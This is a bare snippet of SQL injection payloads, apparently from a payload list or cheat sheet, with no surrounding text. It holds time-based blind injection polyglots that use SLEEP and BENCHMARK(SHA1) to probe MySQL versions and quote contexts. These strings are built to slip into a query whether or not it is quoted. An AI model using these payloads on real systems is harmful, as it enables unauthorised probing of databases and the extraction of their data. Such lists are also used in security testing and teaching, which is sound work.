SLEEP(1) /*‘ or SLEEP(1) or ‘“ or SLEEP(1) or “*/
SELECT 1,2,IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),​SLEEP(1)))OR"*/ FROM some_table WHERE ex = ample